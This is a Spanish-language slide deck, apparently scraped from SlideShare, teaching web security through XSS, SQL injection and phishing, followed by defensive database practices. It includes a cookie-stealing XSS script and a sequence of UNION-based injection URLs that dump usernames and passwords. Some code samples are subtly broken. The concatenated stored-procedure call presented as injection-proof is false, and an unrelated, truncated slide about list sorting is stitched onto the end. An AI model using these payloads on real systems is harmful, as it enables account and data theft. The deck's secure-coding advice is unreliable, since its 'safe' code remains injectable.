SlideShare una empresa de Scribd logo
SEGURIDAD
EN LAS APLICACIONES WEB.
SEGURIDAD
EN LAS APLICACIONES WEB.
La seguridad de las aplicaciones web es una
rama de la Seguridad Informática que se
encarga específicamente de la seguridad de
sitios web, aplicaciones web y servicios web.
Las aplicaciones, comúnmente son
desarrolladas usando lenguajes de
programación tales como PHP, JavaScript,
Python, Ruby, ASP.NET, JSP, entre otros.
SEGURIDAD
EN LAS APLICACIONES WEB.
En un alto nivel, la seguridad de aplicaciones
web se basa en los principios de la seguridad
de cualquier aplicación informática pero
aplicada específicamente a la World Wide
Web.
Debido al descuido en las buenas prácticas
de programación relacionadas con la
seguridad, muchos sistemas son vulnerables
a los ataques, incluyendo inyección SQL.
SEGURIDAD
EN LAS APLICACIONES WEB.
La base de datos y la aplicación deben estar
protegidas para evitar daños a causa de
estas instrucciones maliciosas. Es necesario
comprender cómo se estructuran estas
instrucciones. Un sistema de web puede leer
la entrada del usuario de varias maneras
diferentes, basado en el entorno que se ha
desarrollado la aplicación.
SEGURIDAD
EN LAS APLICACIONES WEB.
En la mayoría de los casos, el SQLIA (Ataque
de inyección SQL) viene en los envíos de
formularios que se envían al sistema web a
través de HTTP GET o POST. Los sistemas
web acceden a los datos de entrada del
usuario y logran acceder a cualquier otra
variable de entorno.
SEGURIDAD
EN LAS APLICACIONES WEB.
Al introducir los códigos por el formulario, el
atacante tiene acceso a la zona restringida
de la página como un administrador
(normalmente el usuario administrador –
administrator - es el primer usuario de la
tabla de usuarios de la base de datos del sitio
y tiene todos los permisos). Al acceder al
sistema como administrador, tiene acceso a
los datos confidenciales, por lo que puede
utilizar estos datos de la manera que desee.
SEGURIDAD
EN LAS APLICACIONES WEB.
Si el ataque es por URL el atacante utiliza
códigos maliciosos en la URL de acceso al
sistema para encontrar la información
contenida en la base de datos, por lo tanto, la
consecución de ambos descubren los datos
sensibles de los usuarios, así como tablas o
la destrucción de datos importantes.
AMENAZAS DE SEGURIDAD
Con la aparición de la Web 2.0, el
intercambio de información a través de redes
sociales y el crecimiento de los negocios en
la adopción de la Web como un medio para
hacer negocios y ofrecer servicios, los sitios
web son constantemente atacados.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Tipo de vulnerabilidad informática o agujero
de seguridad, que permitir a una tercera
persona inyectar en páginas web visitadas
por el usuario código JavaScript o en otro
lenguaje similar como VBScript.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Existe en aplicaciones que presente
información en un navegador web u otro
contenedor de páginas web. Pueden ser sitios
web en línea o aplicaciones locales vulnerables
a XSS, incluso el mismo navegador.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Usualmente causada al no validar
correctamente los datos de entrada que son
usados en cierta aplicación, o no sanear la
salida adecuadamente para su presentación
como página web.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
 Directa (o Persistente): Consiste en
insertar código HTML peligroso en
sitios que lo permitan; incluyendo
etiquetas como <script> o <iframe>.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
 Indirecta (o Reflejada): Modifica valores que la
aplicación usa para pasar variables entre dos
páginas, sin usar sesiones y sucede por un
mensaje o ruta en la URL del navegador, en
una cookie, o cualquier cabecera HTTP (a
veces navegadores y aplicaciones web,
podría extenderse al DOM del navegador).
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Un framework no actualizado, permite a los
atacantes explotar las vulnerabilidades de la
aplicación.
Otro ejemplo es cuando los datos y los
componentes estándar necesarios para la
instalación de una aplicación, base de datos
o componente son instalados
automáticamente y no son eliminados.
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Un atacante podrá descubrir las páginas de
administración en el servidor y autenticarse
utilizando el usuario y contraseña estándar
de la instalación y tomar el control sobre la
aplicación o servidor.
cuando un listado de directorios no fuera
desactivado. Un atacante, podrá listar los
directorios de la aplicación y encontrar otras
vulnerabilidades.
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Si el módulo de PHP está configurado para
mostrar errores, entregaría información
valiosas al atacante como el servidor y el
usuario:
Warning mysql_connetc()[function.mysql-
connect]: Access denied for user
'usuari'@'192.168.0.82'
(using password: YES) in
/www/html/web/admin.php on line 70
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Si la directiva register_globals es on
(habilitada) la variable $autoriza podría ser
manipulada fácilmente. Si modifica el valor
en off, el código funcionaria correctamente
(libre de la vulnerabilidad). Otra forma sería
inicializar la variable antes de su uso, en este
caso el código funcionaría sin importar el
estado de register_globals.
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
 Otro caso es copiar en el value de una
etiqueta <input>. Por ejemplo en los
buscadores en sitios web, al realizar una
búsqueda a través de ellos, lo habitual es
que el término introducido se copie dentro
del campo del buscador.
 Otras veces puede copiar código dentro de
los comentarios HTML, comúnmente en
páginas mal programadas que dejan
mensajes dentro del código fuente HTML:
";alert("¡Hola Mundo!");//
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
 Para determinar si un campo, ya sea un
parámetro desde la URL o un campo de
texto donde sea posible escribir, es
vulnerable a XSS introduzca una serie de
caracteres para comprobar si existe algún
filtro anti-XSS. Los caracteres a introducir
serían:
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
 Comilla simple (‘)
 Comilla doble (“)
 Símbolo de mayor que (>)
 Símbolo de menor que (<)
 Barra (/)
 Espacio ( )
AMENAZAS DE SEGURIDAD
Cross-site scripting (XSS).
Si puede introducir estos caracteres existe un
alto porcentaje de posibilidades de encontrar
algún fallo de XSS. Sin embargo no se puede
asegurar su existencia de forma totalmente
definitiva, siempre existe la posibilidad de
encontrar algún otro tipo de filtro que impida
introducir palabras clave como script, onload
o javascript.
AMENAZAS DE SEGURIDAD
<script>
d = "&to = eviluser&enviar = Enviar&mensaje =
Mi cookie es: "+document.cookie;
if(window.XMLHttpRequest)
{x=new XMLHttpRequest();}
else
{x=new ActiveXObject('Microsoft.XMLHTTP');}
x.open("POST","func/send.php",true);
x.setRequestHeader('Content-
Type','application/x-www-form-urlencoded');
x.setRequestHeader('Content-Length',d.length);
x.send(d);
</script>
AMENAZAS DE SEGURIDAD
Se declara una variable d que contiene los
valores &to, &enviar y &mensaje, que son las
variables que se envían en la aplicación cuando
manda un mensaje. Detalle importante a
observar es el contenido de la variable &mensaje,
document.cookie, un objeto del DOM de la
página que contiene todas las cookies asociadas
al dominio actual.
AMENAZAS DE SEGURIDAD
Se codifica un if...else, que asegura la creación
de un objeto de tipo XMLHttpRequest tanto en
navegadores Internet Explorer como Firefox o
similares. Este objeto es el usado para realizar
las peticiones AJAX.
Con open() se establece las condiciones que se a
utilizarán para enviar el formulario. Será enviado
por POST a la url func/send.php. Mediante true
se indica que la petición será realizada de
manera asíncrona, esto es, el navegador no se
quedará “congelado” mientras se envía el
mensaje.
AMENAZAS DE SEGURIDAD
El llamado a la función setRequestHeader() se
usan para establecer cabeceras HTTP que hagan
que el servidor web entienda que lo que se está
enviando es un formulario, aunque el usuario no
lo haya rellenado.
Se invoca send() pasándole como parámetro la
variable d. Con esto el navegador realiza las
acciones definidas anteriormente y, si todo ha
salido bien, el usuario afectado “enviará” su
cookie de sesión.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Método de infiltración
de código intruso que
usa una vulnerabilidad
informática presente
en una aplicación en
el nivel de validación
de las entradas para
realizar operaciones
sobre una base de
datos.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Su origen radica en la
incorrecta comprobación
o filtrado de las variables
usadas en un programa
que contiene, o bien
genera, código SQL.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Ocurre cuando se
inserta o "inyecta"
código SQL invasor
dentro del código SQL
programado, para
alterar el funcionamiento
normal del programa y
lograr así que se ejecute
la porción de código
"invasor" incrustado, en
la base de datos.
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
try
{$dbh = new PDO($dsn, $user,
$password);}
catch (PDOException $y)
{$log = $y->getMessage();
/* grabar el log */}
$login = $_POST['login'];
$contrasenia = $_POST['contrasenia'];
$sth = $dbh->prepare("SELECT * FROM
usuarios “ . "WHERE login = login AND
contrasenia = :contrasenia");
$sth->bindParam(':login', $login);
$sth->bindParam(':contasenia',
$contrasenia);
$sth->ejecute();
if( $sth->rowCount() )
echo "resultado: true";
else
echo "resultado: false";
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
$login = $_POST['login'];
$contrasenia=$_POST[‘contrasenia’];
$query = array();
$query[] = "CALL testarLogin(@valor,
" $login."', " $contrasenia."')";
$query[] = "SELECT @valor";
$mysqli->query($query[0]);
$res = $mysqli->query($query[1]);
$valor = $res->fetch_object();
$nombre = "@valor";
if( $valor->$nombre )
echo "resultado: true";
else
echo "resultado: false";
$mysqli->close();
?>
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Una aplicación cifra los datos de las tarjetas
de créditos en una base de datos para
prevenir que los mismos sean expuestos a
usuarios finales. Sin embargo, la base de
datos está configurada para descifrar
automáticamente consultas en las columnas
de tarjetas de crédito, permitiendo que un
fallo de inyección por SQL pueda listar todas
las tarjetas de crédito en claro.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
El sistema debería haber sido configurado
para permitir que sólo las aplicaciones de
back-end pudieran descifrar esos datos y no
las aplicaciones web de front-end.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
En una aplicación web PHP, la transferencia
por GET pasa parámetros vía url:
http://www.dominio.com/[nombre_pagina].
php?[nombre_variable]=[valor]
Después del “ ?” hay una variable con su
valor, que fue consultado en la base de
datos, está explícito en la URL, entonces,
podría retornar datos de la base de datos con
la agrupación de comandos SQL.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Consultar los detalles de un producto desde:
http://www.dominio.com/detalles.php?pro
ducto_id = 158
Éste probablemente tendrá un código PHP
que recibirá un valor en una variable:
$id = $_GET[“ id” ];
Ese valor sería pasado a otra variable que
contenga el código que será responsable de
la consulta SQL, como por ejemplo:
AMENAZAS DE SEGURIDAD
 Inyección SQL.
$query = mysql_query(?SELECT * FROM
producto WHERE producto_id = “ $id’” );
$query recibe la ejecución de la consulta en
el MYSQL, la cual selecciona todos los
registros de la tabla producto con producto_id
igual al valor de $id. Consulta que se ejecuta
explícitamente en el código, exponiendo la
vulnerabilidad del sistema y arriesgando la
base de datos.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
http://www.dominio.com/detalles.php?product
o_id = 1’
Si se insertan ‘(comillas simples) al final de la
url y la página retornar un error diciendo: “
You have an error on your SQL syntax ;
check the manual that corresponds to your
MYSQL server version for the’”, significa que
es vulnerable.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Considerando la url anterior, se agrupará un
comando para la verificación de la cantidad
de columnas existentes en la tabla. Con
ORDER BY, es posible especificar cualquier
número de columnas
http://www.dominio.com/detalles.php?product
o_id = 1’ ORDER BY 1,2,3,4 (...).
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Probando desde 1 hasta n, cuando en “ n”
sucede un error, se obtiene la información n-
1 que se refiere al número de columnas de la
tabla consultada, en el caso que el número
sea 5, si sucede el error, el valor
correspondiente al número de columnas que
pueden ser usadas por los demás comandos
será 4.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Con la función UNION los ataques son lo
suficientemente eficaces para retornar datos,
es posible entonces retornar el conjunto de
registros de la base de datos con:
http://www.dominio.com/detalles.php?pro
ducto_id =1 UNION ALL SELECT 1,2,3,4
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Por ello, @@version es capaz de informar
sobre la versión del sistema gestor de bases
de datos, para así usar la sintaxis correcta:
http://www.dominio.com/detalles.php?pro
ducto_id =1 UNION ALL SELECT 1, 2, 3,
@@version
AMENAZAS DE SEGURIDAD
 Inyección SQL.
http://www.dominio.com/detalles.php?pro
ducto_id =1 UNION ALL SELECT 1, 2, 3,
column_name from
information_schema.columns—
Lo anterior devolverá el nombre de las
columnas y tablas del esquema principal de
la base de datos.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Si los privilegios de usuario no están
configurados correctamente, el atacante
conseguirá retornar los nombre de tablas y
columnas y así hacer la selección de los
datos que necesitará para proseguir con la
inyección SQL.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Para que finalmente sean retornados los
datos necesarios para acceder al sistema y
también modificar la base de datos, el
atacante hará una nueva secuencia de
comandos, donde podrá obtener los nombres
de usuarios, contraseñas y datos de otras
tablas que componen el esquema que está
siendo atacado.
AMENAZAS DE SEGURIDAD
 Inyección SQL.
Para retornar los datos de la tabla usuario,
como ejemplo, utilizan los códigos siguientes,
y si logran tener éxito, el atacante conseguirá
manipular el sistema y la base de datos, con
libre acceso y más intenciones.
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
column_name from
information_schema.column WHERE
table_name=’usuario’—
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
concat(username,0x 8b,password)from
admin/*
 http://www.dominio.com/detalles.php?pr
oducto_id=1/**/union/**/all/**/select/**/0x
76,concat_ws(0x
8b,username,password),44/*-
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
column_name from
information_schema.column WHERE
table_name=’usuario’—
 http://www.dominio.com/detalles.php?pr
oducto_id =1 UNION ALL SELECT 1, 2, 3,
concat(username,0x 8b,password)from
admin/*
 http://www.dominio.com/detalles.php?pr
oducto_id=1/**/union/**/all/**/select/**/0x
76,concat_ws(0x
8b,username,password),44/*-
AMENAZAS DE SEGURIDAD
La mayoría de los ataques a aplicaciones
web ocurren a través de:
 Cross-site scripting (XSS).
 Inyección SQL.
 Phishing.
Estos ataques logran su cometido debido a
una codificación deficiente y la falta de
desinfección de las entradas y salidas de la
aplicación web.
Conocido como suplantación
de identidad, es un modelo
de abuso informático que se
comete mediante el uso de
un tipo de ingeniería social,
caracterizado por intentar
adquirir información
confidencial de forma
fraudulenta.
AMENAZAS DE SEGURIDAD
Una página es vulnerable a XSS cuando
aquello que se le envía al servidor (un
comentario, un cambio en un perfil, una
búsqueda, etc.) se ve posteriormente
mostrado en la página de respuesta.
AMENAZAS DE SEGURIDAD
Esto es, cuando se escribe un comentario en
una página y puede leer posteriormente el
mensaje, modifica su perfil de usuario y el
resto de usuarios puede verlo o se realiza
una búsqueda y se muestra un mensaje: “No
se han encontrado resultados para <texto>”,
se está incluyendo dentro de la página el
mismo texto que nosotros hemos introducido.
AMENAZAS DE SEGURIDAD
Una vez detectada una zona de la aplicación
que al recibir texto procedente del usuario lo
muestra en la página, es el momento de
determinar si es posible utilizar esa zona
como punto de ataque de XSS.
Para ello es posible insertar un pequeño
código Javascript que muestra un mensaje
de alerta para descubrir rápidamente si se
está actuando en la línea correcta de ataque.
AMENAZAS DE SEGURIDAD
Determinados filtros Anti-XSS pueden
imposibilitar el uso de ciertos caracteres a la
hora de introducir el código Javascript. Por
ejemplo, las comillas dobles o los caracteres
de “mayor que” y “menor que” suelen estar
prohibidos.
AMENAZAS DE SEGURIDAD
Categorías para fallos de XSS:
 Permanentes: Su denominación se debe al
hecho de que queda almacenada en algún
lugar, habitualmente una base de datos
SQL, y se va a mostrar a cualquier usuario
que visite el sitio.
 No permanentes: se introduce como
<texto> el código Javascript. La diferencia
es que en esta ocasión los efectos de la
acción no son permanentes.
AMENAZAS DE SEGURIDAD
Un ataque de XSS puede tomar el control
sobre el navegador del usuario afectado y
realizar acciones en la aplicación web.
Si se ha logrado que un usuario
administrador ejecute un Javascript, las
posibilidades de actuación maliciosa son muy
superiores.
Sería posible borrar todas las noticias de una
página o generar una cuenta de
administrador con los datos encontrados.
AMENAZAS DE SEGURIDAD
Haciendo uso de las técnicas de phishing,
mediante Javascript, podría modificar el
comportamiento y la apariencia de una
página web.
Esto permite crear un formulario de login
falso o redirigir el submit de uno existente
hacia un dominio controlado por otro servidor.
AMENAZAS DE SEGURIDAD
Es posible realizar un ataque de
denegación de servicios distribuidos
(distributed dennial of services, DDoS).
Para ello se forzará mediante código
Javascript que los navegadores hagan uso
intensivo de recursos muy costosos en
ancho de banda o capacidad de
procesamiento de un servidor de forma
asíncrona.
AMENAZAS DE SEGURIDAD
Un gusano XSS es un código Javascript que se
propaga dentro un sitio web o entre páginas de
Internet aprovechando un fallo XSS en la
descripción personal de los usuarios de una
red social.
En esta situación un usuario malintencionado
podría crear código Javascript para copiar el
código del gusano al perfil del usuario que
visita otro perfil infectado y que adicionalmente
realizase algún tipo de modificación en los
perfiles afectados.
AMENAZAS DE SEGURIDAD
Las únicas limitaciones la constituye la
imposibilidad de ejecutar código fuera del
navegador, dado que el ambiente sobre el que
se ejecuta no permite el acceso a ficheros del
sistema, y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque.
TECNOLOGÍA DE SEGURIDAD.
Mientras que la seguridad se basa
fundamentalmente en las personas y los
procesos, existen varias soluciones técnicas
a considerar cuando se diseña, construye y
prueban aplicaciones web seguras. A un alto
nivel incluyen:
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
Herramientas de pruebas:
 Escáneres de seguridad de
aplicaciones web.
 Escáneres de vulnerabilidad
 Software de prueba de
penetración.
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
Herramientas de pruebas:
 Analizadores estáticos
de código fuente.
TECNOLOGÍA DE SEGURIDAD.
Soluciones de alto nivel son:
 Black box.
 White box.
 Fuzzing.
 Escáner de seguridad de aplicaciones web
(escáner de vulnerabilidad.)
 Firewalls de aplicación web (WAF.)
 Cracking de contraseña.
Herramientas utilizadas
para pruebas de entrada.
TECNOLOGÍA DE SEGURIDAD.
Fuzzing es una técnica de pruebas de
software, a menudo automatizado o
semiautomatizado, que proporciona datos
inválidos, inesperados o aleatorios a las
entradas de un programa de ordenador.
Entonces se monitorean las excepciones
como caídas, aserciones de código erróneas,
o para encontrar potenciales filtraciones de
memoria.
DESARROLLO SEGURO.
El DBA es el responsable superior de
declarar las reglas dentro del SGBD. Este es
el responsable de conceder o eliminar
privilegios, crear o excluir usuarios, y atribuir
de un nivel de seguridad a los usuarios del
sistema, de acuerdo con la política de la
empresa.
DESARROLLO SEGURO.
El control de flujo de la información es un
mecanismo que previene que la información
fluyan por canales secretos y violen la
política de seguridad al alcanzar usuarios no
autorizados. Este regula la distribución o flujo
de información entre objetos accesibles.
DESARROLLO SEGURO.
Un flujo entre el objeto A y el objeto B sucede
cuando un programa lee valores de A y
escribe valores en B. Los controles de flujo
tienen la finalidad de verificar si las
informaciones contenidas en algunos objetos
no fluyen explícita o implícitamente hacia
objetos de menor protección.
De esa manera, un usuario no puede obtener
indirectamente en B aquello que este o esta
no pueda obtener directamente de A.
DESARROLLO SEGURO.
La codificación de datos es una medida de
control final, utilizada para proteger datos
sigilosos que se transmiten por medio de
algún tipo de red de comunicación. También
se puede usar para ofrecer protección
adicional para que partes confidenciales de
una base de datos no sean accedidas por
usuarios no autorizados.
DESARROLLO SEGURO.
Para eso, los datos están codificados a
través de algún algoritmo de codificación.
Así, un usuario no autorizado tendrá una
gran dificultad para descifrarlos, pero los
usuarios autorizados recibirán claves para
descifrar esos datos.
La criptografía permite disfrazar el mensaje
para que, aún con el desvío de la
transmisión, el mensaje no sea revelado.
DESARROLLO SEGURO.
Gestionar usuarios y al esquema de la base
de datos donde cada base de datos tiene una
lista de nombres de usuarios. Deben estar
implementados diferentes perfiles de usuario
para diferentes tareas en la base de datos,
con el enfoque que cada aplicación o usuario
tiene su necesidad de acceso. Puede
proteger los perfiles con contraseña, y
además usar cotas para restringir el espacio
en el disco que será utilizado por los usuarios
o aplicativos.
DESARROLLO SEGURO.
Método de acceso y seguridad multinivel,
donde el usuario no tiene un término medio.
Tiene o no privilegios. Normalmente usado
en BD que clasifican datos de usuarios,
donde es necesario un nivel más de
seguridad.
Se utiliza en sistemas gubernamentales,
militares o de inteligencia, así como
industriales y corporativas.
DESARROLLO SEGURO.
Acceso basado en roles, donde estos son
creados de acuerdo con los diferentes cargos
en una organización y los usuarios están
asociados a roles según sus
responsabilidades y cualificaciones.
Se pueden designar varios individuos a un
mismo rol. Los privilegios de seguridad
comunes a un rol se conceden a su nombre y
cualquier individuo designado para ese rol
automáticamente los tendrá. Los usuarios
pueden moverse fácilmente de un rol a otro.
DESARROLLO SEGURO.
Los usuarios pueden moverse fácilmente
entre roles. Los cambios en los entornos
computacionales, la instalación de sistemas y
eliminación de aplicaciones antiguas,
modifican sólo el conjunto de permisos
atribuidos a los diferentes roles, sin
afectarlos.
La separación de tareas es un requisito
importante. La exclusión mutua de roles es
un método que puede implementarse.
DESARROLLO SEGURO.
Control de acceso utilizando triggers para
crear mecanismos de seguridad más
complejos que pueden ser disparados cada
vez que se llama un evento o que pueden ser
disparados antes o después del comando
especificado con el objetivo de proveer
mayor rigor en el control de la seguridad.
Si el comando ejecutado por el usuario no es
validado por los Triggers, se activa un error
para impedir modificaciones indebidas.
DESARROLLO SEGURO.
SELECT * FROM Usuario WHERE
usu_usuario = '" $login."' AND
usu_contrasenia = '" $contrasenia."';
Cuando se utiliza la política de seguridad de
insertar todas las consultas en STORED
PROCEDURES, la ejecución se limitará al
objeto de la base de datos, es decir, no existe
una consulta directa a la base de datos por
parte del sistema.
DESARROLLO SEGURO.
El objeto STORED PROCEDURE crea un
filtro entre la consulta y la base de datos. En
la estructura del STORED PROCEDURE,
existe la consulta, pero la codificación de
esta no está explícita en el código del
sistema y, así, se realiza una llamada al
objeto pasando hacia este los valores de las
variables de entrada:
DESARROLLO SEGURO.
CALL
TCC_Usuario_SELECT('".$usuario."',"
$contrasenia."')
Usando este código, tanto los ataques vía
formularios de credenciales como también
vía URL quedarán prevenidos, protegiendo
así la base de datos y sus registros.
DESARROLLO SEGURO.
Con view es posible permitir acceso, conceder
privilegios, ocultar líneas y columnas de
información confidenciales o restringir en la
tabla original. Los privilegios y concesiones
están definidos en la vista y no afectan a la
tabla base, estando el acceso de los usuarios
delimitado por la vista, la cual se genera
creando un subconjunto de datos en la tabla
referenciada. La opción With Verification da
mayor seguridad porque no permite modificar la
tabla sin tener los privilegios dentro de la vista.
BIBLIOGRAFÍA.
Desarrollo seguro de
aplicaciones web.
Ariel Ayala Montes.
2014
AMENAZAS DE SEGURIDAD
Puede interesar que los elementos de
una lista estén ordenados: una vez
que finalizó la inscripción en un curso,
tener a los listados de los alumnos por
orden de llegada puede ser muy
incómodo, siempre será preferible
tenerlos ordenados por número para
realizar cualquier comprobación.
Se obtiene una referenc
<section> en el docum
contenido con un eleme
ahí, el usuario solo verá
la pantalla.
Se obtiene una ref
elemento <section> e
reemplaza su contenid
<p>. A partir de ahí, el
elemento <p> en la pan

Más contenido relacionado

La actualidad más candente

Investigacion unidad 3
Investigacion unidad 3Investigacion unidad 3
Investigacion unidad 3
Daniel M. Garcia
 
Protección y seguridad En Los Sistemas Operativos
Protección y seguridad En Los Sistemas OperativosProtección y seguridad En Los Sistemas Operativos
Protección y seguridad En Los Sistemas Operativos
Valmore Medina
 
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
peter69
 
Wireless penetration testing
Wireless penetration testingWireless penetration testing
Wireless penetration testing
Kamlesh Dhanwani
 
Seguridad física y lógica
Seguridad física y lógicaSeguridad física y lógica
Seguridad física y lógicaEve_And
 
La seguridad informática en power point
La seguridad informática en power pointLa seguridad informática en power point
La seguridad informática en power pointlinda gonzalez
 
Hacking ético
Hacking éticoHacking ético
Hacking ético
Paulo Colomés
 
Seguridad de la Informacion
Seguridad de la InformacionSeguridad de la Informacion
Seguridad de la Informacion
Angel Ricardo Marchan Collazos
 
Métodos y Técnicas de Auditoria Informática
Métodos y Técnicas de Auditoria InformáticaMétodos y Técnicas de Auditoria Informática
Métodos y Técnicas de Auditoria InformáticaShamyNavarrete
 
WAFs.pptx
WAFs.pptxWAFs.pptx
WAFs.pptx
HamzaJamil41
 
Conoce todo sobre la zona desmilitarizada (DMZ)
Conoce todo sobre la zona desmilitarizada (DMZ)Conoce todo sobre la zona desmilitarizada (DMZ)
Conoce todo sobre la zona desmilitarizada (DMZ)
Supra Networks
 
SEGURIDAD INFORMATICA
SEGURIDAD INFORMATICASEGURIDAD INFORMATICA
SEGURIDAD INFORMATICA
Walter Edison Alanya Flores
 
Seguridad informatica slideshare
Seguridad informatica slideshareSeguridad informatica slideshare
Seguridad informatica slideshareb1cceliagonzalez
 
Seguridad En Profundidad, Defense in Depth (DiD)
Seguridad En Profundidad, Defense in Depth (DiD)Seguridad En Profundidad, Defense in Depth (DiD)
Seguridad En Profundidad, Defense in Depth (DiD)
Melvin Jáquez
 
2.2 lenguajes del lado cliente
2.2 lenguajes del lado cliente2.2 lenguajes del lado cliente
2.2 lenguajes del lado clienteJeremias Morales
 
Network Security: Attacks, Tools and Techniques
Network Security: Attacks, Tools and TechniquesNetwork Security: Attacks, Tools and Techniques
Network Security: Attacks, Tools and Techniques
waqasahmad1995
 
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Configuración de servicios DNS DHCP WEBSERVER Y EMAIL en packet tracer.
Anthony Torres Bastidas
 
Vpn exposicion
Vpn exposicionVpn exposicion
Vpn exposicion
Cristy Ponciano
 
Dns caracteristicas-y-propiedades
Dns caracteristicas-y-propiedadesDns caracteristicas-y-propiedades

La actualidad más candente (20)

Investigacion unidad 3
Investigacion unidad 3Investigacion unidad 3
Investigacion unidad 3
 
Protección y seguridad En Los Sistemas Operativos
Protección y seguridad En Los Sistemas OperativosProtección y seguridad En Los Sistemas Operativos
Protección y seguridad En Los Sistemas Operativos
 
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
 
Wireless penetration testing
Wireless penetration testingWireless penetration testing
Wireless penetration testing
 
Seguridad física y lógica
Seguridad física y lógicaSeguridad física y lógica
Seguridad física y lógica
 
La seguridad informática en power point
La seguridad informática en power pointLa seguridad informática en power point
La seguridad informática en power point
 
Hacking ético
Hacking éticoHacking ético
Hacking ético
 
Seguridad de la Informacion
Seguridad de la InformacionSeguridad de la Informacion
Seguridad de la Informacion
 
Métodos y Técnicas de Auditoria Informática
Métodos y Técnicas de Auditoria InformáticaMétodos y Técnicas de Auditoria Informática
Métodos y Técnicas de Auditoria Informática
 
WAFs.pptx
WAFs.pptxWAFs.pptx
WAFs.pptx
 
